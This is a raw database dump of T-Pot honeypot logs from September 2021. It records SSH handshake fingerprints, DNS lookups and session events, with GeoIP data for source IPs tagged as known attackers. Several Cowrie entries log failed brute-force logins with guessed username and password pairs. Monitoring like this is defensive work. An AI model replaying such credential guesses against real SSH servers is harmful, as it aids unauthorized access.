"session": "424c2bceab33", "@version": "1", "timestamp": "2021-09-20T11:15:22.610848Z", "@timestamp": "2021-09-20T11:15:22.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27791	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:15:28.034204+03	2021-09-20 14:30:01.926524+03	{"_id": "TAbrAnwBvYTbRNuEASrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23064, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1718, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1859361895906904, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48391, "timestamp": "2021-09-20T11:15:28.034204Z", "@timestamp": "2021-09-20T11:15:28.034Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27792	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:15:28.129136+03	2021-09-20 14:30:01.927523+03	{"_id": "UAbrAnwBvYTbRNuEAyoo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34978, "timestamp": "2021-09-20T11:15:28.129136", "@timestamp": "2021-09-20T11:15:28.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27793	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:29.13249+03	2021-09-20 14:30:01.929524+03	{"_id": "ZwbrAnwBvYTbRNuEBSrR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1109415508886303, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38606, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.132490Z", "@timestamp": "2021-09-20T11:15:29.132Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27794	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:28.697003+03	2021-09-20 14:30:01.930524+03	{"_id": "awbrAnwBvYTbRNuEByoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36710, "timestamp": "2021-09-20T11:15:28.697003", "@timestamp": "2021-09-20T11:15:28.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27795	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:29.316677+03	2021-09-20 14:30:01.931523+03	{"_id": "bAbrAnwBvYTbRNuEByoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57006, "timestamp": "2021-09-20T11:15:29.316677", "@timestamp": "2021-09-20T11:15:29.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27796	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:30.114481+03	2021-09-20 14:30:01.932523+03	{"_id": "fgbrAnwBvYTbRNuECyq-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [nginx/nginx] failed", "session": "c05db1dbd4e1", "@version": "1", "password": "nginx", "username": "nginx", "timestamp": "2021-09-20T11:15:30.114481Z", "@timestamp": "2021-09-20T11:15:30.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27797	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:30.255952+03	2021-09-20 14:30:01.933524+03	{"_id": "fwbrAnwBvYTbRNuECyq_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "49d8477a128b", "@version": "1", "duration": 4.658474922180176, "timestamp": "2021-09-20T11:15:30.255952Z", "@timestamp": "2021-09-20T11:15:30.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27798	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:30.563354+03	2021-09-20 14:30:01.934525+03	{"_id": "gAbrAnwBvYTbRNuECyq_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [steve/steve123] failed", "session": "128b1807e603", "@version": "1", "password": "steve123", "username": "steve", "timestamp": "2021-09-20T11:15:30.563354Z", "@timestamp": "2021-09-20T11:15:30.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27799	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:31.472718+03	2021-09-20 14:30:01.936524+03	{"_id": "hgbrAnwBvYTbRNuEDyqm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c05db1dbd4e1", "@version": "1", "duration": 2.778338670730591, "timestamp": "2021-09-20T11:15:31.472718Z", "@timestamp": "2021-09-20T11:15:31.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27800	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:32.123714+03	2021-09-20 14:30:01.937524+03	{"_id": "iAbrAnwBvYTbRNuEESqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 968465419838873, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38958, "dest_port": 22, "timestamp": "2021-09-20T11:15:32.123714Z", "@timestamp": "2021-09-20T11:15:32.123Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27801	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:31.849057+03	2021-09-20 14:30:01.939523+03	{"_id": "iQbrAnwBvYTbRNuEEirL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38958, "timestamp": "2021-09-20T11:15:31.849057", "@timestamp": "2021-09-20T11:15:31.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27802	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:31.848131+03	2021-09-20 14:30:01.940523+03	{"_id": "jAbrAnwBvYTbRNuEEyqQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "128b1807e603", "@version": "1", "duration": 2.9917871952056885, "timestamp": "2021-09-20T11:15:31.848131Z", "@timestamp": "2021-09-20T11:15:31.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27803	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:31.848579+03	2021-09-20 14:30:01.941524+03	{"_id": "jwbrAnwBvYTbRNuEEyqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9cb1debe220f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:31.848579Z", "@timestamp": "2021-09-20T11:15:31.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27804	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:32.032618+03	2021-09-20 14:30:01.942524+03	{"_id": "kAbrAnwBvYTbRNuEEyqR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7537ca1348be", "@version": "1", "duration": 2.7168266773223877, "timestamp": "2021-09-20T11:15:32.032618Z", "@timestamp": "2021-09-20T11:15:32.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27805	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:19.093987+03	2021-09-20 14:30:01.943524+03	{"_id": "6wbqAnwBvYTbRNuE4Cm9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "021174df3485", "@version": "1", "timestamp": "2021-09-20T11:15:19.093987Z", "@timestamp": "2021-09-20T11:15:19.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27806	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:20.234778+03	2021-09-20 14:30:01.945553+03	{"_id": "9QbqAnwBvYTbRNuE5Cmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "4306e5def5fb", "@version": "1", "duration": 4.598988771438599, "timestamp": "2021-09-20T11:15:20.234778Z", "@timestamp": "2021-09-20T11:15:20.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27807	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:20.380844+03	2021-09-20 14:30:01.946525+03	{"_id": "8gbqAnwBvYTbRNuE5Cmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1a0fa1cf258e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:20.380844Z", "@timestamp": "2021-09-20T11:15:20.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	